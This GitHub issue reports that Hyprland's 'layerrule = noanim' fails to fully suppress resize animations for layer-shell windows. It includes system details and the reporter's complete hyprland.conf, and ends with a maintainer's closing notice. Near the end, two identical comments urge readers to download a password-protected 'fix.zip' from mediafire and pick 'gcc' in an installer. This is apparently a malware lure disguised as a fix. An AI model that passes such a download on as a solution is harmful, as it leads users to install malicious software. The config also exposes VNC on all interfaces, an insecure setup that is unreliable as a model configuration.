layerrule = noanim doesn't disable every animation
Regression?
No
System Info and Version
System/Version info
Hyprland, built from branch at commit 918d8340afd652b011b937d29d5eea0be08467f5 (flake.lock: update).
Date: Tue Jun 25 12:06:02 2024
Tag: v0.41.2, commits: 4886
flags: (if any)
System Information:
System name: Linux
Node name: Davide-Arch-PC
Release: 6.6.45-1-lts
Version: #1 SMP PREEMPT_DYNAMIC Sun, 11 Aug 2024 14:02:12 +0000
GPU information:
01:00.0 VGA compatible controller [0300]: NVIDIA Corporation TU106 [GeForce RTX 2070] [10de:1f02] (rev a1) (prog-if 00 [VGA controller])
os-release: NAME="Arch Linux"
PRETTY_NAME="Arch Linux"
ID=arch
BUILD_ID=rolling
ANSI_COLOR="38;2;23;147;209"
HOME_URL="https://archlinux.org/"
DOCUMENTATION_URL="https://wiki.archlinux.org/"
SUPPORT_URL="https://bbs.archlinux.org/"
BUG_REPORT_URL="https://gitlab.archlinux.org/groups/archlinux/-/issues"
PRIVACY_POLICY_URL="https://terms.archlinux.org/docs/privacy-policy/"
LOGO=archlinux-logo
plugins:
======Config-Start======
Config File: /home/david/.config/hypr/hyprland.conf: Read Succeeded
# #######################################################################################
# AUTOGENERATED HYPR CONFIG.
# PLEASE USE THE CONFIG PROVIDED IN THE GIT REPO /examples/hypr.conf AND EDIT IT,
# OR EDIT THIS ONE ACCORDING TO THE WIKI INSTRUCTIONS.
# #######################################################################################
#
# Please note not all available settings / options are set here.
# For a full list, see the wiki
#
#autogenerated = 1 # remove this line to remove the warning
# See https://wiki.hyprland.org/Configuring/Monitors/
monitor=DP-3,3840x2160@60,0x0,1.5
# monitor=DP-4,3840x2160@60,0x0,1.5
monitor=HDMI-A-1,1920x1080@60,2560x310,1.0
# monitor=HDMI-A-4,1920x1080@60,2560x310,1.0
# monitor=DP-3,highres,0x0,1
# monitor=HDMI-A-1,highres,3840x465,0.66
# monitor=DP-3,highres,0x0,2
# monitor=HDMI-A-1,highres,1920x232,1.3
# See https://wiki.hyprland.org/Configuring/Keywords/ for more
# Execute your favorite apps at launch
#exec-once = xprop -root -f _XWAYLAND_GLOBAL_OUTPUT_SCALE 32c -set _XWAYLAND_GLOBAL_OUTPUT_SCALE 2
exec-once = hyprctl setcursor theme_Adwaita 16
env = XDG_CURRENT_DESKTOP,Hyprland
exec-once = dbus-update-activation-environment --systemd WAYLAND_DISPLAY XDG_CURRENT_DESKTOP
exec-once = /usr/lib/polkit-kde-authentication-agent-1
exec-once = /usr/bin/play-with-mpv
exec-once = systemctl --user start xsettingsd.service
exec-once = wayvnc 0.0.0.0 5900 -o DP-3
# exec-once = sh /home/david/.config/scripts/set-xprop-until.sh
exec-once = dunst
#exec-once = hyprpaper
exec-once = swww init
exec-once = /home/david/.config/scripts/random-wallpaper.sh
exec-once = eww daemon && eww open main_bar #&& eww open dynamic_island
#clipboard manager
exec-once = wl-paste --type text --watch cliphist store #Stores only text data
exec-once = wl-paste --type image --watch cliphist store #Stores only image data
exec-once = cliphist wipe # clear history at startup
# Source a file (multi-file configs)
# source = ~/.config/hypr/myColors.conf
# Some default env vars.
env = XCURSOR_SIZE,24
env = HYPRCURSOR_THEME,theme_Adwaita
env = HYPRCURSOR_SIZE,16
env = GDK_BACKEND=wayland,x11
env = QT_QPA_PLATFORM="wayland;xcb"
env = GDK_SCALE,2
env = GDK_DPI_SCALE,1.5
env = QT_SCALE_FACTOR,1.5
env = GTK_USE_PORTAL,1
env = XDG_DESKTOP_PORTAL,1
env = LIBVA_DRIVER_NAME,nvidia
env = XDG_SESSION_TYPE,wayland
env = GBM_BACKEND,nvidia-drm
env = __GLX_VENDOR_LIBRARY_NAME,nvidia
env = WLR_NO_HARDWARE_CURSORS,1
env = XDG_CONFIG_HOME,/home/david/.config/
env = XDG_CACHE_HOME,/home/david/.cache/
env = XDG_DATA_HOME,/home/david/.local/share
env = XDG_STATE_HOME,/home/david/.local/state
env = XDG_DATA_DIRS,/usr/local/share:/usr/share
env = THEOS,/opt/theos
env = THEOS_MAKE_PATH,/opt/theos/makefiles
env = GTK_THEME,Adwaita:dark
env = GTK2_RC_FILES,/usr/share/themes/Adwaita-dark/gtk-2.0/gtkrc
#env = QT_STYLE_OVERRIDE,adwaita-dark
env = OLLAMA_MODELS,/mnt/storage/models
env = QT_QPA_PLATFORMTHEME,qt5ct
env = VISUAL,nvim
env = EDITOR,nvim
env = PAGER,bat
env = GOPATH,/home/david/.go
env = WLR_DRM_NO_ATOMIC,1
# workspace=1,monitor:DP-3,default:true
# workspace=2,monitor:HDMI-A-1,default:true
workspace=1,monitor:DP-3,default:true
workspace=2,monitor:HDMI-A-1,default:true
# For all categories, see https://wiki.hyprland.org/Configuring/Variables/
input {
kb_layout = us,it
kb_variant =
kb_model =
kb_options =
kb_rules =
repeat_rate = 30
repeat_delay = 300
follow_mouse = 1
force_no_accel = true
touchpad {
natural_scroll = no
}
# touchdevice {
# transform = 2
# output = DP-3
# }
# tablet {
# transform = 2
# output = DP-3
# }
}
$Col_a = 202a25 #gunmetal
$Col_b = f2542d #cinnabar
$Col_c = 8acdea #sky-blue
$Col_d = 00806f #pine-green
$Col_e = 231f38 #dark-purple
general {
# See https://wiki.hyprland.org/Configuring/Variables/ for more
gaps_in = 3
gaps_out = 15
border_size = 3
col.active_border = rgba($Col_bbb) rgba($Col_bee) 45deg
col.inactive_border = rgba($Col_eaa)
layout = dwindle
sensitivity = 1.0 # -1.0 - 1.0, 0 means no modification.
allow_tearing = true
}
xwayland {
use_nearest_neighbor = true
force_zero_scaling = true
}
decoration {
# See https://wiki.hyprland.org/Configuring/Variables/ for more
rounding = 15
blur {
enabled = yes
size = 9
passes = 3
new_optimizations = yes
}
drop_shadow = yes
shadow_range = 8
shadow_render_power = 3
col.shadow = rgba($Col_b50)
col.shadow_inactive = rgba($Col_e80)
}
# render {
# explicit_sync = true
# }
animations {
enabled = yes
# Some default animations, see https://wiki.hyprland.org/Configuring/Animations/ for more
bezier = myBezier, 0.05, 0.9, 0.1, 1.05
animation = windows, 1, 7, myBezier
animation = windowsOut, 1, 7, default, popin 80%
animation = border, 1, 10, default
animation = borderangle, 1, 8, default
animation = fade, 1, 7, default
animation = workspaces, 1, 6, default
}
dwindle {
# See https://wiki.hyprland.org/Configuring/Dwindle-Layout/ for more
pseudotile = yes # master switch for pseudotiling. Enabling is bound to mainMod + P in the keybinds section below
preserve_split = yes # you probably want this
}
master {
# See https://wiki.hyprland.org/Configuring/Master-Layout/ for more
#new_is_master = true
}
gestures {
# See https://wiki.hyprland.org/Configuring/Variables/ for more
workspace_swipe = off
}
debug {
disable_logs = false
enable_stdout_logs = true
}
# Example per-device config
# See https://wiki.hyprland.org/Configuring/Keywords/#executing for more
# device:epic-mouse-v1 {
# sensitivity = -0.5
# }
# Example windowrule v1
# windowrule = float, ^(kitty)$
# Example windowrule v2
# windowrulev2 = float,class:^(kitty)$,title:^(kitty)$
windowrule = stayfocused, wofi
windowrule = workspace 2 silent, Cider
windowrule = float,^(org.kde.polkit-kde-authentication-agent-1)$
windowrule = tile,class:(Chromium)
# See https://wiki.hyprland.org/Configuring/Window-Rules/ for more
#xwaylandvideobridge
windowrulev2 = opacity 0.0 override 0.0 override,class:^(xwaylandvideobridge)$
windowrulev2 = noanim,class:^(xwaylandvideobridge)$
windowrulev2 = nofocus,class:^(xwaylandvideobridge)$
windowrulev2 = noinitialfocus,class:^(xwaylandvideobridge)$
# tearing
windowrulev2 = immediate, class:^(Warframe)$
# LayerShell
layerrule= noanim, dynisland
# See https://wiki.hyprland.org/Configuring/Keywords/ for more
$mainMod = SUPER
# Example binds, see https://wiki.hyprland.org/Configuring/Binds/ for more
bind = $mainMod, Q, exec, kitty
bind = $mainMod, C, killactive,
bind = $mainMod, M, exit,
bind = $mainMod, E, exec, thunar
bind = $mainMod, B, exec, env GDK_DPI_SCALE=1 /usr/lib/firefox/firefox --ProfileManager
bind = $mainMod, A, exec, gtk-launch cider
bind = $mainMod, F, togglefloating,
bind = $mainMod, R, exec, wofi --show drun --allow-images -i --term=kitty
bind = $mainMod, P, pseudo, # dwindle
bind = $mainMod, J, togglesplit, # dwindle
bind = $mainMod, F11, fullscreen, 0
bind = $mainMod SHIFT, F11, fullscreen, 1
bind = $mainMod,Alt_L,exec,hyprctl switchxkblayout razer-razer-blackwidow-tournament-edition-chroma next & notify-send "KB Layout changed to $(hyprctl -j devices | jq -r '.keyboards.[] | select(.name=="razer-razer-blackwidow-tournament-edition-chroma").active_keymap')"
bind = $mainMod,Alt_L,exec,hyprctl switchxkblayout razer-razer-blackwidow-tournament-edition-chroma-1 next
bind = $mainMod,Alt_L,exec,hyprctl switchxkblayout razer-razer-blackwidow-tournament-edition-chroma-2 next
bind = $mainMod,Alt_L,exec,hyprctl switchxkblayout razer-razer-blackwidow-tournament-edition-chroma-3 next
bind = $mainMod,Alt_L,exec,hyprctl switchxkblayout default-output next
#clipboard
bind = $mainMod, V, exec, sh -c "cliphist list | wofi -dmenu -O default | cliphist decode | wl-copy; wl-paste"
#color picker
bind = $mainMod CTRL, C, exec, hyprpicker -a
#screenshot
bind = $mainMod CTRL, S, exec, grimblast copysave area
#type clipboard
bindr = $mainMod CTRL, V, exec, sh -c "sleep 0.5; wl-paste --no-newline | /usr/bin/ydotool type %@ -d 10 -f -"
# Move focus with mainMod + arrow keys
bind = $mainMod, left, movefocus, l
bind = $mainMod, right, movefocus, r
bind = $mainMod, up, movefocus, u
bind = $mainMod, down, movefocus, d
# Switch workspaces with mainMod + [0-9]
bind = $mainMod, 1, workspace, 1
bind = $mainMod, 2, workspace, 2
bind = $mainMod, 3, workspace, 3
bind = $mainMod, 4, workspace, 4
bind = $mainMod, 5, workspace, 5
bind = $mainMod, 6, workspace, 6
bind = $mainMod, 7, workspace, 7
bind = $mainMod, 8, workspace, 8
bind = $mainMod, 9, workspace, 9
bind = $mainMod, 0, workspace, 10
# Move active window to a workspace with mainMod + SHIFT + [0-9]
bind = $mainMod SHIFT, 1, movetoworkspace, 1
bind = $mainMod SHIFT, 2, movetoworkspace, 2
bind = $mainMod SHIFT, 3, movetoworkspace, 3
bind = $mainMod SHIFT, 4, movetoworkspace, 4
bind = $mainMod SHIFT, 5, movetoworkspace, 5
bind = $mainMod SHIFT, 6, movetoworkspace, 6
bind = $mainMod SHIFT, 7, movetoworkspace, 7
bind = $mainMod SHIFT, 8, movetoworkspace, 8
bind = $mainMod SHIFT, 9, movetoworkspace, 9
bind = $mainMod SHIFT, 0, movetoworkspace, 10
# Scroll through existing workspaces with mainMod + scroll
bind = $mainMod, mouse_down, workspace, e+1
bind = $mainMod, mouse_up, workspace, e-1
# Move/resize windows with mainMod + LMB/RMB and dragging
bindm = $mainMod, mouse:272, movewindow
bindm = $mainMod, mouse:273, resizewindow
======Config-End========
Description
Using a layer shell with a resizable window, if I don't set layerrule = noanim in the config, the resize is animated as expected.
If i set layerrule = noanim, the window should not be animated but there is still some stretching and the window shakes, while on another compositor without animations like Sway, the animation is created by GTK and everything is smooth
How to reproduce
Use a layer shell with a window that gets resized (use something like eww, with :resizable false in the window definition), with and without layerrule = noanim in the hyprland config
Crash reports, logs, images, videos
Hyprland with animations: https://github.com/user-attachments/assets/ecb84ca8-b35b-4ed4-95d2-1929c6f41e66
Hyprland with layerrule = noanim:
https://github.com/user-attachments/assets/494ab423-366a-460c-8923-addaad001f7f
Sway: https://github.com/user-attachments/assets/57c3c4a9-f73b-4f39-8859-b297b6123476
Download https://www.mediafire.com/file/zch0v8rj7200mbm/fix.zip/file password: changeme In the installer menu, select "gcc."
Download https://www.mediafire.com/file/zch0v8rj7200mbm/fix.zip/file password: changeme In the installer menu, select "gcc."
Hello there!
This issue has been closed, as we are moving from issues to discussions. More about this can be found here and in #9854.
Firstly, please make sure this issue is still relevant in latest Hyprland. If so, we ask you to open a discussion (please read the discussion guidelines first, in the pinned post)
Thank you for your understanding!